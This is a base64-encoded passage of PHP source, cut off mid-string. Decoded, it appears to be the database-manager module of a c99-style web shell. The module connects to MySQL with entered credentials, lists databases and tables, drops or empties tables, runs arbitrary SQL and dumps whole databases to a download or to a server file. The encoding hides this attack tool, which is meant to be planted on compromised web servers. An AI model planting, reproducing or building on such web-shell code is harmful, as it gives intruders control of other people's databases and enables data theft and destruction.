DQogIGlmICghJHNxbF9zb2NrKSB7DQogICAgZWNobyAiPHRkIHdpZHRoPVwiMjglXCIgaGVpZ2h0PVwiMTAwXCIgdmFsaWduPVwidG9wXCI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPVwiOTAlXCIgaGVpZ2h0PTEgdmFsaWduPVwidG9wXCI+IjsNCiAgICBlY2hvICI8dGFibGUgd2lkdGg9XCIxMDAlXCIgYm9yZGVyPTA+PHRyPjx0ZD48Yj5QbGVhc2UsIGZpbGwgdGhlIGZvcm06PC9iPjx0YWJsZT48dHI+PHRkPjxiPlVzZXJuYW1lPC9iPjwvdGQ+PHRkPjxiPlBhc3N3b3JkPC9iPjwvdGQ+PHRkPjxiPkRhdGFiYXNlPC9iPjwvdGQ+PC90cj48Zm9ybSBhY3Rpb249XCIgJHN1cmwgXCIgbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInhcIiB2YWx1ZT1cInNxbFwiPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwicm9vdFwiIG1heGxlbmd0aD1cIjY0XCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJwYXNzd29yZFwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCJcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIlwiIG1heGxlbmd0aD1cIjY0XCI+PC90ZD48L3RyPjx0cj48dGQ+PGI+SG9zdDwvYj48L3RkPjx0ZD48Yj5QT1JUPC9iPjwvdGQ+PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiMzMwNlwiIG1heGxlbmd0aD1cIjZcIiBzaXplPVwiM1wiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25uZWN0XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IjsNCiAgfQ0KICBlbHNlIHsNCiAgICBpZiAoIWVtcHR5KCRzcWxfZGIpKSB7DQogICAgICA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+DQogICAgICA8P3BocA0KICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgZWxzZSB7DQogICAgICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgICAgICRjID0gMDsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPismbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9DQogICAgICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICAgICB9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT4NCiAgICAgIDw/cGhwDQogICAgICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgIGVsc2Ugew0KICAgICAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPg0KICAgICAgICA8P3BocA0KICAgICAgICAkYyA9IDA7DQogICAgICAgICRkYnMgPSAiIjsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOw0KICAgICAgICBlY2hvICRkYnM7DQogICAgICB9DQogICAgICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+DQogICAgICA8P3BocA0KICAgIH0NCiAgICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIj4iOw0KICAgICRkaXBsYXkgPSBUUlVFOw0KICAgIGlmICgkc3FsX2RiKSB7DQogICAgICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30NCiAgICAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30NCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRhYmxlKHMpIGluIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsNCiAgICAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogICAgICBlY2hvICI8L2I+PC9jZW50ZXI+IjsNCiAgICAgICRhY3RzID0gYXJyYXkoIiIsImR1bXAiKTsNCiAgICAgIGlmICgkc3FsX3ggPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGVtcHR5IikgeyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX3ggPSAiZHVtcCI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAiZGVsZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3FsX3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2goJGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSk7fSAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0Iikgew0KICAgICAgICBpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsNCiAgICAgICAgICAka2V5cyA9ICIiOw0KICAgICAgICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsNCiAgICAgICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQ0KICAgICAgICAgIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30NCiAgICAgICAgICAkdmFsdWVzID0gIiI7DQogICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQ0KICAgICAgICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQ0KICAgICAgICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7DQogICAgICAgICAgJHNxbF94ID0gInF1ZXJ5IjsNCiAgICAgICAgICAkc3FsX3RibF94ID0gImJyb3dzZSI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikgew0KICAgICAgICAgICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOw0KICAgICAgICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOw0KICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7DQogICAgICAgICAgJHNxbF94ID0gInF1ZXJ5IjsNCiAgICAgICAgICAkc3FsX3RibF94ID0gImJyb3dzZSI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkc3FsX3ggPT0gInF1ZXJ5Iikgew0KICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQ0KICAgICAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF94ID0gJHNxbF9nb3RvO30NCiAgICAgICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfeCkpIHtlY2hvICI8dGFibGUgYm9yZGVyPVwiMFwiIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIj48dHI+PHRkPjxmb3JtIGFjdGlvbj1cIiIuJHNxbF9zdXJsLiJcIiBtZXRob2Q9XCJQT1NUXCI+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0bzoiO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5IDoiO30gZWNobyAiPC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3hcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT4iO30NCiAgICAgIH0NCiAgICAgIGlmIChpbl9hcnJheSgkc3FsX3gsJGFjdHMpKSB7DQogICAgICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPg0KICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0ibmV3dGJsIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPg0KICAgICAgICA8L2Zvcm0+PC90ZD4NCiAgICAgICAgPHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+RHVtcCBEQjo8L2I+DQogICAgICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJkdW1wIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOyA/PiI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT4NCiAgICAgICAgPD9waHANCiAgICAgICAgaWYgKCFlbXB0eSgkc3FsX3gpKSB7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iO30NCiAgICAgICAgaWYgKCRzcWxfeCA9PSAibmV3dGJsIikgew0KICAgICAgICAgIGVjaG8gIjxiPiI7DQogICAgICAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHsNCiAgICAgICAgICAgIGVjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRzcWxfeCA9PSAiZHVtcCIpIHsNCiAgICAgICAgICBpZiAoZW1wdHkoJHN1Ym1pdCkpIHsNCiAgICAgICAgICAgICRkaXBsYXkgPSBGQUxTRTsNCiAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInhcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PGJyPiI7DQogICAgICAgICAgICBlY2hvICI8Yj5EQjo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7DQogICAgICAgICAgICBlY2hvICI8Yj5Pbmx5IHRhYmxlcyAoZXhwbG9kZSBcIjtcIikmbmJzcDs8Yj48c3VwPjE8L3N1cD48L2I+OjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZG1wdGJsc1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdikrNSkuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgIGlmICgkZHVtcF9maWxlKSB7JHRtcCA9ICRkdW1wX2ZpbGU7fQ0KICAgICAgICAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30NCiAgICAgICAgICAgIGVjaG8gIjxiPkZpbGU6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICBlY2hvICI8Yj5Eb3dubG9hZDogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsNCiAgICAgICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcI